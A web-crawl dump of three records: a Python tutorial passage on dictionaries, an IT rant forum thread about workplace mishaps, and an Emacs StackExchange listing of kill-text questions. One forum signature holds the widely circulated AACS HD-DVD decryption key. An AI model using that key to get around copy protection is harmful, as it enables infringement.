To fix these last two problems, I’m going to make two changes to the code. First, instead of using arrays to store the mean, median, and standard deviation, I will use dictionaries, which are extensible (meaning that you do not have to preset their size) and which accept any unique, immutable variable as a key (meaning you can use the filename as the index). Second, instead of looping through array indices, I will loop through the filenames themselves. Here, I’m taking advantage of the fact that for loops in Python will loop through any iterable. Unlike traditional Fortran, which loops through a range of integers, in Python you can loop through a collection of numbers, strings, even functions and modules! Thus, my code is:
import numpy
mean = {} #- Initialize as empty dictionaries
median = {}
stddev = {}
list_of_files = ['data0.txt', 'data1.txt', 'data2.txt']
for ifile in list_of_files:
data = readdata(ifile)
mean[ifile] = numpy.mean(data)
median[ifile] = numpy.median(data)
stddev[ifile] = numpy.std(data)
(With dictionaries, once you specify a variable as a dictionary (which is what initializing mean, median, and stddev as empty dictionaries does), if you try to set a value to a key, and the key does not yet exist, the key is created and the assignment is fulfilled. If the key already exists, the value is assigned to the key, overwriting the previous value. For more on dictionaries, please see this entry from the Python tutorial.)
The code is not shorter, but it now will work with any number of files; you only need to add in additional filenames to list_of_files, and the calculations will automatically be done and stored. To access, say, the mean of data1.txt, you just type in mean['data1.txt']. Filenames of any naming convention (or which completely lack a convention) are referenced similarly.
This new code also has a bonus feature. By changing the for loop from looping through a range of integers to looping through a list of files, it now becomes clear that if I can only automatically generate a list of my files, I won’t even have to type in new filenames to list_of_files. Making such a list, in fact, is very straightforward if you can get a directory listing from the operating system; Python makes that simple to do (and in a cross-platform way) via its built-in os module, coupled with string methods. I will talk about how to do this in a few weeks in a future post.
In our example, I assumed that the number of metrics to be calculated (mean, median, standard deviation) does not change, and that only the number of files changes. What if the number of metrics to be calculated also changes from three to 30? Are you stuck with writing at least 30 lines of code? In this case, dictionaries, coupled with the object-oriented nature of Python, can help us write more concise code. I will also talk about how to do this in another future post.
Dictionaries enable us to gather and store data without having to know ahead of time how many elements will need to be stored, and to reference the data using index values that make more sense than integers. The result is code that is more readable and flexible.
Hat tip: Thanks to Yun-Lan Chen for the idea for this article!
This entry was posted in Beginner, Data Analysis, Featured Tips, Tutorials. Bookmark the permalink.
• N eil
A note for that future post: I have found the glob module (also a builtin module) better than the os module for getting file lists. can use wildcards etc. for example:
import glob
dsrc=”/home/neil/data/cfsr/grb2files/”
grblist=glob.glob(dsrc+”cfsr*/cfsr*/*.grb2″);
grblist.sort()
and now I have a sorted list of all grb2 files in those directories with paths.
Apologies if you already know this, otherwise hope it works for you.
• http://www.johnny-lin.com Johnny Lin
Nope, I hadn’t heard about glob. Thanks much for the tip!
|
{
"url": "http://pyaos.johnny-lin.com/?p=755",
"source_domain": "pyaos.johnny-lin.com",
"snapshot_id": "crawl=CC-MAIN-2018-13",
"warc_metadata": {
"Content-Length": "33199",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QPBCB33G3YUFAYPISFWR3Z3C3W7ZLU4Z",
"WARC-Concurrent-To": "<urn:uuid:b08f1867-c545-4e60-bab8-85dd8a5a80dd>",
"WARC-Date": "2018-03-23T03:10:59Z",
"WARC-IP-Address": "104.28.15.12",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ZYVFIAN5ZH4RMS4M22CBM52LEBGHWIBG",
"WARC-Record-ID": "<urn:uuid:b0711db7-aa51-4c4c-9791-3d87767aa720>",
"WARC-Target-URI": "http://pyaos.johnny-lin.com/?p=755",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:15426773-4425-4b93-9050-d6be3191b758>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-99-181-180.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-13\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for March 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
47,
48,
592,
593,
648,
649,
936,
1083,
1084,
1210,
1211,
1224,
1254,
1284,
1314,
1315,
1341,
1371,
1398,
1399,
1425,
1455,
1482,
1483,
1509,
1539,
1566,
1567,
1846,
1847,
2369,
2370,
2383,
2405,
2429,
2453,
2454,
2473,
2513,
2543,
2574,
2609,
2641,
2642,
2871,
2872,
3620,
3621,
4354,
4355,
4368,
4417,
4429,
4441,
4497,
4498,
4526,
4553,
4588,
4627,
4663,
4664,
5098,
5099,
5470,
5471,
6056,
6057,
6532,
6533,
6796,
6797,
6860,
6861,
6961,
6971,
6972,
7144,
7145,
7161,
7204,
7254,
7273,
7274,
7358,
7359,
7432,
7433,
7474,
7475
],
"line_end_idx": [
47,
48,
592,
593,
648,
649,
936,
1083,
1084,
1210,
1211,
1224,
1254,
1284,
1314,
1315,
1341,
1371,
1398,
1399,
1425,
1455,
1482,
1483,
1509,
1539,
1566,
1567,
1846,
1847,
2369,
2370,
2383,
2405,
2429,
2453,
2454,
2473,
2513,
2543,
2574,
2609,
2641,
2642,
2871,
2872,
3620,
3621,
4354,
4355,
4368,
4417,
4429,
4441,
4497,
4498,
4526,
4553,
4588,
4627,
4663,
4664,
5098,
5099,
5470,
5471,
6056,
6057,
6532,
6533,
6796,
6797,
6860,
6861,
6961,
6971,
6972,
7144,
7145,
7161,
7204,
7254,
7273,
7274,
7358,
7359,
7432,
7433,
7474,
7475,
7536
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 7536,
"ccnet_original_nlines": 90,
"rps_doc_curly_bracket": 0.000796179985627532,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.39000609517097473,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012187689542770386,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22425350546836853,
"rps_doc_frac_unique_words": 0.367758184671402,
"rps_doc_mean_word_length": 4.885810375213623,
"rps_doc_num_sentences": 92,
"rps_doc_symbol_to_word_ratio": 0.0006093800184316933,
"rps_doc_unigram_entropy": 5.3989577293396,
"rps_doc_word_count": 1191,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.04914933815598488,
"rps_doc_frac_chars_dupe_6grams": 0.041244201362133026,
"rps_doc_frac_chars_dupe_7grams": 0.018559889867901802,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006874029990285635,
"rps_doc_frac_chars_top_3gram": 0.015638429671525955,
"rps_doc_frac_chars_top_4gram": 0.01374807022511959,
"rps_doc_books_importance": -668.2564697265625,
"rps_doc_books_importance_length_correction": -668.2564697265625,
"rps_doc_openwebtext_importance": -503.9508056640625,
"rps_doc_openwebtext_importance_length_correction": -503.9508056640625,
"rps_doc_wikipedia_importance": -289.2579650878906,
"rps_doc_wikipedia_importance_length_correction": -289.2579650878906
},
"fasttext": {
"dclm": 0.46288353204727173,
"english": 0.8910835981369019,
"fineweb_edu_approx": 2.6401281356811523,
"eai_general_math": 0.9960307478904724,
"eai_open_web_math": 0.36917150020599365,
"eai_web_code": 0.9418754577636719
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "551.48",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Geology and Earth sciences",
"level_3": "Physical geology and Geodynamics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,561,912,548,771,180,000 |
42
An open forum to gripe ( we also have a hidden one )...why 2 forums to gripe...cause we love it
42
Postby dinowuff » Mon Jun 14, 2010 5:28 pm
Boss: "We need to have a new web site"
Me: "O.K., Windows? M$SQL or is MySQL ok"
Boss: "Ask marketing"
Me: "You want a windows server for web development?"
Marketing: "Yea"
Me: "I've opened port(s) 21, 80 and 8080 use this userID and Password for RDP"
Marketing: "We are going to contract out the development"
Me: "O.K."
year later...
Boss: "Website is ready to go live"
Me: "Really, I thought that was on hold, had not heard anything about it for almost a year"
Boss: "Marketing says the developers are ready to transfer files from dev to production"
Me: "Nice, I'll set everything up"
... spend 10 minutes looking at dev site...
Me: "Yea Boss - I can't just transfer files and get the site running"
Boss: "Why"?
Me: "Cause the developers developed using PHP with Apache on a Linux box and we have a windows server using IIS".
Boss: "Is that a problem"?
Anyone want fries with that?
Image
No lusers were harmed in the creation of this Taz Zone Post.
AND I WANT TO KNOW WHY NOT!
09:F9:11:02:9D:74:E3:5B:D8:41:56:C5:63:56:88:C0
User avatar
dinowuff
I've posted HOW many
Posts: 5333
Joined: Sun Dec 25, 2005 11:26 pm
Location: galactic longitude 359° 56′ 39.4″, galactic latitude −0° 2′ 46.2″
Re: 42
Postby Morganlefay » Mon Jun 14, 2010 5:44 pm
hahahahaha
Thats my life...full of misinformation.....from a bunch of overpaid arses that think they know everything :roll:
In my project management course one stat was 50% of the information you receive when gathering information for your project will be wrong ...always verify
MLF
A computer once beat me at chess, but it was no match for me at kickboxing.
User avatar
Morganlefay
I've posted HOW many
Posts: 3725
Joined: Sun Jan 08, 2006 7:36 am
Location: Avalon Canada
Re: 42
Postby SirDice » Mon Jun 14, 2010 7:45 pm
Here's a shitkicker.. I currently work for a well known American telco. I used to be contracted out to a very large oilcompany (not BP :P ). They've got about 12000 routers and switches worldwide. But this oilcompany thought they could make even more profit if they out-sourced their entire IT. So everything got split up. Servers are owned by Company X, network gear this US telco, desktop/printers etc. to Company Y.
The applications we created to keep those 12000 devices in check must now be migrated to the Telco's systems. If something on the network croaks automatic tickets are generated. We used to have a filter between our software generating incidents and the actual ticketing system. You REALLY don't want a ticket for every port (we have about 600.000 of them) that goes up or down. So we had some logic and some glue code running to make it more manageable for the engineers, it should only generate a ticket if the line went down for at least X seconds and this had to have happened at least 3 times during the last 5 days. They didn't want it :roll:
Normally their own system handles about 6000 incidents per day, that's all their previous/current customers. We connect our stuff to their system without the filter and we alone generate about 9000 a day. It blew up, obviously. They're still trying to figure out what the fuck happened. The oilcompany pays about 20.000.000 for this shit. The telco has to pay them 16.000.000 for not being able to handle the agreed SLAs.
Don't even get me started on the fact that most of us trying to keep the network going (the ones that know how the fuck things work) are contractors and the telco will only extend a contract 3 times. This time around next year will be the end of the road for most of us (including a triple CCIE that works as a developer).
Thank $DEITY I'm a contractor so it's not my company. I love the system that was build when I got there. It seriously kicks some networking management ass. The whole reason it was created was because there simply wasn't any commercially available that could handle that much devices. At least not everything. We do use COTS software but it's the glue code and the web frontends that make it workable. Would be a shame if it got killed. But... it's not my company so if they want to fuck it up, be my guest. As long as my own company pays me I don't give a shit what yours does.
Oliver's Law:
Experience is something you don't get until just after you need it.
User avatar
SirDice
I've posted HOW many
Posts: 4199
Joined: Mon May 15, 2006 9:59 am
Location: Netherlands
Re: 42
Postby Aspman » Tue Jun 15, 2010 9:07 am
Why the UK is in the shit -
Department> Hey IT guys we've spent £100,000 on these super duper handheld computers that our vendor said work just dandy with the app they sold us. Really conveniently they sell them too.
IT> You didn't ask us first. What if they don't work? What if they're not compatible? What if we can't support them? <tears> You'd better speak to Security (we don't like to say no)
Security> WTF have you bought now?
Department> These super du...
Security> WTF is is running?
Department> Windows Mobile 6
Security> Not compatible, not assured, NO.
Security> Can you upgrade?
Department> Upgrade isn't compatible with the app they were bought to use.
Security> FO :finger:
£100,000 of devices now sitting about as paperweights because they couldn't be bothered to ask if the devices were compatible. they just saw something shiny they wanted with someone else's money and thought they'd push it through IT.
Billions gets wasted like this.
"Man will never be free until the last king is strangled with the entrails of the last priest."
- Denis Diderot (1713-1784)
User avatar
Aspman
Frustrated Mad Scientist
Posts: 8871
Joined: Mon Jan 09, 2006 10:07 am
Location: Scotland
Return to Rants and Raves
Who is online
Users browsing this forum: No registered users and 4 guests
cron
|
{
"url": "http://tazforum.thetazzone.com/viewtopic.php?p=135191&sid=8f10891389076e9971d17664ba60c964",
"source_domain": "tazforum.thetazzone.com",
"snapshot_id": "crawl=CC-MAIN-2019-04",
"warc_metadata": {
"Content-Length": "32361",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:U7O33OAGYGSKLUVSQFE3K5GD4XDD2Z24",
"WARC-Concurrent-To": "<urn:uuid:782ff754-8526-4289-ba17-94aa9073f039>",
"WARC-Date": "2019-01-19T02:54:31Z",
"WARC-IP-Address": "69.90.24.206",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:KTVMLT46EPYZ45O4WJPHSDQ6LPHNYODB",
"WARC-Record-ID": "<urn:uuid:bd840c31-17c8-4426-a0a8-e47a9ef87053>",
"WARC-Target-URI": "http://tazforum.thetazzone.com/viewtopic.php?p=135191&sid=8f10891389076e9971d17664ba60c964",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:16fe9b7f-9057-4cab-ba16-bec7335f0b1a>"
},
"warc_info": "isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-146-180-207.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
3,
4,
100,
101,
104,
105,
148,
149,
188,
230,
252,
305,
322,
401,
459,
470,
484,
520,
612,
701,
736,
737,
781,
782,
852,
865,
866,
980,
981,
1008,
1009,
1038,
1044,
1105,
1133,
1181,
1193,
1202,
1223,
1225,
1237,
1271,
1347,
1348,
1355,
1356,
1402,
1403,
1414,
1415,
1528,
1529,
1684,
1685,
1689,
1765,
1777,
1789,
1810,
1812,
1824,
1857,
1881,
1882,
1889,
1890,
1932,
1933,
2352,
2353,
3001,
3002,
3424,
3425,
3748,
3749,
4327,
4341,
4409,
4421,
4429,
4450,
4452,
4464,
4497,
4519,
4520,
4527,
4528,
4569,
4570,
4598,
4599,
4788,
4970,
5005,
5035,
5064,
5093,
5136,
5163,
5238,
5260,
5261,
5495,
5496,
5528,
5624,
5652,
5664,
5671,
5696,
5698,
5710,
5744,
5763,
5764,
5765,
5791,
5792,
5806,
5807,
5867,
5868
],
"line_end_idx": [
3,
4,
100,
101,
104,
105,
148,
149,
188,
230,
252,
305,
322,
401,
459,
470,
484,
520,
612,
701,
736,
737,
781,
782,
852,
865,
866,
980,
981,
1008,
1009,
1038,
1044,
1105,
1133,
1181,
1193,
1202,
1223,
1225,
1237,
1271,
1347,
1348,
1355,
1356,
1402,
1403,
1414,
1415,
1528,
1529,
1684,
1685,
1689,
1765,
1777,
1789,
1810,
1812,
1824,
1857,
1881,
1882,
1889,
1890,
1932,
1933,
2352,
2353,
3001,
3002,
3424,
3425,
3748,
3749,
4327,
4341,
4409,
4421,
4429,
4450,
4452,
4464,
4497,
4519,
4520,
4527,
4528,
4569,
4570,
4598,
4599,
4788,
4970,
5005,
5035,
5064,
5093,
5136,
5163,
5238,
5260,
5261,
5495,
5496,
5528,
5624,
5652,
5664,
5671,
5696,
5698,
5710,
5744,
5763,
5764,
5765,
5791,
5792,
5806,
5807,
5867,
5868,
5872
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5872,
"ccnet_original_nlines": 124,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 7,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.36125272512435913,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04369993135333061,
"rps_doc_frac_lines_end_with_ellipsis": 0.024000000208616257,
"rps_doc_frac_no_alph_words": 0.2607429027557373,
"rps_doc_frac_unique_words": 0.46310681104660034,
"rps_doc_mean_word_length": 4.3728156089782715,
"rps_doc_num_sentences": 77,
"rps_doc_symbol_to_word_ratio": 0.007283320184797049,
"rps_doc_unigram_entropy": 5.709295272827148,
"rps_doc_word_count": 1030,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.02264654077589512,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.004440499935299158,
"rps_doc_frac_chars_top_3gram": 0.004662519786506891,
"rps_doc_frac_chars_top_4gram": 0.00599467009305954,
"rps_doc_books_importance": -648.53125,
"rps_doc_books_importance_length_correction": -648.53125,
"rps_doc_openwebtext_importance": -403.0696105957031,
"rps_doc_openwebtext_importance_length_correction": -403.0696105957031,
"rps_doc_wikipedia_importance": -280.1990051269531,
"rps_doc_wikipedia_importance_length_correction": -280.1990051269531
},
"fasttext": {
"dclm": 0.07193934917449951,
"english": 0.9564286470413208,
"fineweb_edu_approx": 1.1181718111038208,
"eai_general_math": 0.013322769664227962,
"eai_open_web_math": 0.1755320429801941,
"eai_web_code": 0.0005682699847966433
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-2,734,236,289,810,023,000 |
Skip to main content
OverflowAI is here! AI power for your Stack Overflow for Teams knowledge community. Learn more
Questions tagged [kill-text]
The tag has no usage guidance.
Filter by
Sorted by
Tagged with
0 votes
1 answer
30 views
`kill-words` and related commands erase text in read-only buffers
Killing commands, such as kill-word, have started to erase text in read-only buffers. For example, invoking kill-word in dired-mode or mu4e-headers-mode will delete words from a filename or from an ...
Pablo's user avatar
• 321
0 votes
1 answer
24 views
In Python buffer erase large output
Python buffers support comint-delete-output, but if I forget to do it before entering another command, I have a big hunk of text I can't easily erase. In shell mode, I can set the mark and run comint-...
Eric Auld's user avatar
0 votes
0 answers
45 views
Trying to search backward first space or start of line
I try to build a function to find the previous space or the start of line and kill the region from my current point to the found point. (Edit) I will use it in LaTeX-mode. Example: Let’s say I have ...
mrmen's user avatar
• 1
1 vote
1 answer
252 views
How to transpose a pair of words?
Suppose I have the following text: :lacerte-attach-statement-type "suffix" :data-automation-id "OSICtrlE15-140" And I would like to have: :data-automation-id "OSICtrlE15-140&...
Pedro Delfino's user avatar
0 votes
1 answer
83 views
Mark up to and including the character under the cursor
By default, when I activate mark it just adds everything to the region up to the point which is behind the cursor (image below) What I want to achieve, however, is to also include - as part of my ...
Shahin's user avatar
• 131
10 votes
3 answers
3k views
How to select and delete a column of text in emacs?
I have this text 1 A 2 B 3 C I want to remove the first column to make it A B C Ok so I need to make a rectangle. Reading about rectangles I see "To specify a rectangle for a command to work on,...
BigBoy1337's user avatar
0 votes
1 answer
281 views
How to make backward-kill-word and kill-word stop after it kills a newline character?
kill-word and backward-kill-word deletes too much text: foo(bar) <point> Now if I press C-<backspace>: foo(<point> What I want is: foo(bar)<point> after pressing C-<...
user avatar
0 votes
2 answers
240 views
Default yank keyboard shortcut does not work
I am using Emacs 27.1 (GNU Emacs 27.1 (build 1, x86_64-pc-linux-gnu, GTK+ Version 3.24.24, cairo version 1.16.0) of 2021-03-28, modified by Debian). When I hover the mouse pointer over the "copy&...
buhtz's user avatar
• 729
2 votes
1 answer
62 views
How to limit mark/kill size of huge (org-mode) files?
I have org-mode files about 50K lines long, which I can edit and save file; but once in a while accidentally marked a large region by typing C-x C-x or C-x h, and copied too much data into clipboard, ...
gb2312's user avatar
• 21
4 votes
3 answers
327 views
How can I move/kill multiple chunks of text to the same place/marker, one after another?
The task: I have a large-ish file, from which I need to pick certain chunks of text and move them into a certain place so they go one after another, in the order in which I pick them. More ...
aaa's user avatar
• 446
0 votes
2 answers
84 views
Kills backwards at beginning of line
With the cursor set just before B, how would I bring Bar next to Foo? I tried C-0 C-k, no avail. Foo Bar Desired: FooBar
user avatar
6 votes
3 answers
3k views
Delete from point to beginning of the line
Have read the GNU manuals on erasing, killing, and deleting. In bash C-u deletes from the cursor to the beginning. I have searched and in much disbelief can't find out what the equivalent is in emacs?...
user avatar
1 vote
1 answer
87 views
Yanking does not use top entry in the kill ring
I want to delete regions without adding them to the kill ring following this thread: (defun backward-kill-word-no-kill-ring () "Delete the previous word and remove it from the kill ring." (...
emonigma's user avatar
• 1,907
1 vote
1 answer
160 views
kill rectangle not working on Mac (missing file/library)
I just upgraded to emacs 26.2 using homebrew on my MAC (update: I had actually done a global "brew update" and assumed it had also updated emacs) and now kill-rectangle with C-x r k no longer works, ...
ClimateUnboxed's user avatar
1 vote
1 answer
141 views
Command that does different things based on whether something is selected
I am trying to make emacs function somewhat like sublime text, where C-x cuts text that is selected and cuts the whole line when nothing is selected. I got the full-line cut to work using (global-set-...
Emerson Peters's user avatar
4 votes
1 answer
126 views
Allow C-w to kill a region only if it is selected
Sometimes (rarely I would say) I press C-w by mistake and if the mark defines a non empty region, it gets deleted. The few times this happened I just pressed undo, but I am afraid that sooner or ...
Nisba's user avatar
• 905
1 vote
1 answer
124 views
Delete a line by relative line number
I'm looking for solutions/suggestions on how to delete a line not under cursor but by relative line number. For example, how to delete the line which is 5 lines after the cursor without going to it in ...
wizmer's user avatar
• 937
1 vote
3 answers
94 views
quickly kill and then yank parts of a program
I very often encounter the problem that I have to cut out a part of an expression and need to copy it somerhere else. For example the following python line: courtage_text = data["expose"]["brokerage"]...
daeda's user avatar
• 439
6 votes
2 answers
658 views
copy region without leading indentation
I often find myself copying a region of code that is deep inside the indented structure. Since I don't want it to end up in a codeblock with superfluous indentation (given that the context is missing),...
Jorge Israel Peña's user avatar
0 votes
0 answers
115 views
dealing with s-expressions in javascript without paredit
I was using paredit for other languages apart from lisp and it was great for being able to delete and yank whole functions etc. but it was also quite buggy with web-mode and js2-mode. Fir example, I ...
dagda1's user avatar
• 615
6 votes
4 answers
713 views
How to do paredit-kill backwards?
Most everyone who uses paredit has used paredit-kill (i.e., C-k), which allows one to delete a line forwards whilst keeping delimiters balanced properly. But how does one do this in the reverse ...
GDP2's user avatar
• 1,350
1 vote
2 answers
191 views
Kill and yank (append?) text from buffer to bottom of same buffer
I want to be able to kill selected text and yank it to the bottom of the buffer from which it was killed. How do I do this efficiently, meaning not with C-k, moving point to end of buffer, C-y?
Carl Roberts's user avatar
0 votes
1 answer
101 views
What key sequence is killing a large chunk of my buffer?
What is the key sequence for deleting from the current position to the beginning of the buffer? I ask not because I want to use the sequence but to prevent it from happening. I always do this by ...
tom's user avatar
• 33
3 votes
2 answers
586 views
Kill URL at point
I would like a way to kill the URL under the point. I have tried mark-thing, next-visible-thing etc. from the thing-cmds package, but they either do not know how to move over URLs in nxml-mode or fail ...
Robin Green's user avatar
2 votes
1 answer
511 views
Strange behavior when killling text in term/multi-term [duplicate]
multi-term is my current goto when I want a command line in Emacs. However, I have noticed a strange behavior, and I am not sure whether it is a bug, or if it can be configured. If I type a command ...
elethan's user avatar
• 4,825
1 vote
2 answers
813 views
Kill rectangle with cua-mode support
There are many nice column editing features in CUA mode. After hitting Ctrl+RETURN, binded to cua-set-rectangle-mark, you get some help in the minibuffer: But I can't find the shortcut to cut/kill ...
nephewtom's user avatar
• 2,261
2 votes
1 answer
227 views
Kill the next sexp and its surrounding whitespace
kill-whole-line is quite useful as it completely deletes both content and whitespace unlike kill-line which only deletes contents in line. But in lisp-mode, it is necessary to keep parens in tact and ...
Chillar Anand's user avatar
|
{
"url": "https://emacs.stackexchange.com/questions/tagged/kill-text",
"source_domain": "emacs.stackexchange.com",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "239149",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:M7QK2KHZNQOF4XZ5YGWJQW2GSOFB2553",
"WARC-Concurrent-To": "<urn:uuid:6e033e15-cbd7-4d54-865d-63605ccf90d2>",
"WARC-Date": "2024-05-19T17:48:12Z",
"WARC-IP-Address": "104.18.43.226",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:6N4WGX4PEHED7TFBGLLP6LNWMCQDNDX3",
"WARC-Record-ID": "<urn:uuid:37ad03a3-5951-432c-9aeb-2918b8f5cbda>",
"WARC-Target-URI": "https://emacs.stackexchange.com/questions/tagged/kill-text",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d5c51595-ca26-41f3-9484-ea9201a84bd2>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-123\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
21,
116,
117,
146,
147,
178,
179,
189,
199,
211,
219,
228,
237,
238,
304,
305,
507,
527,
535,
543,
552,
561,
562,
598,
599,
803,
827,
835,
845,
854,
855,
910,
911,
1113,
1133,
1139,
1146,
1155,
1165,
1166,
1200,
1201,
1379,
1407,
1415,
1424,
1433,
1434,
1490,
1491,
1691,
1712,
1720,
1729,
1739,
1748,
1749,
1801,
1802,
2000,
2025,
2033,
2042,
2052,
2053,
2139,
2140,
2309,
2321,
2329,
2339,
2349,
2350,
2395,
2396,
2595,
2615,
2623,
2631,
2640,
2649,
2650,
2704,
2705,
2909,
2930,
2937,
2945,
2955,
2965,
2966,
3055,
3056,
3249,
3267,
3275,
3283,
3293,
3302,
3303,
3340,
3341,
3462,
3474,
3482,
3492,
3501,
3502,
3545,
3546,
3750,
3762,
3769,
3778,
3787,
3788,
3836,
3837,
4030,
4053,
4063,
4070,
4079,
4089,
4090,
4147,
4148,
4351,
4380,
4387,
4396,
4406,
4407,
4481,
4482,
4686,
4715,
4723,
4732,
4742,
4743,
4793,
4794,
4993,
5013,
5021,
5028,
5037,
5047,
5048,
5086,
5087,
5292,
5313,
5321,
5328,
5338,
5347,
5348,
5394,
5395,
5599,
5619,
5627,
5635,
5645,
5655,
5656,
5696,
5697,
5902,
5934,
5942,
5952,
5962,
5963,
6020,
6021,
6224,
6245,
6253,
6261,
6271,
6281,
6282,
6316,
6317,
6515,
6534,
6544,
6551,
6561,
6571,
6572,
6638,
6639,
6833,
6860,
6868,
6877,
6887,
6888,
6945,
6946,
7145,
7163,
7170,
7178,
7188,
7198,
7199,
7217,
7218,
7423,
7449,
7457,
7466,
7476,
7477,
7544,
7545,
7747,
7769,
7779,
7786,
7796,
7806,
7807,
7844,
7845,
8046,
8070,
8080,
8088,
8097,
8107,
8108,
8158,
8159,
8363
],
"line_end_idx": [
21,
116,
117,
146,
147,
178,
179,
189,
199,
211,
219,
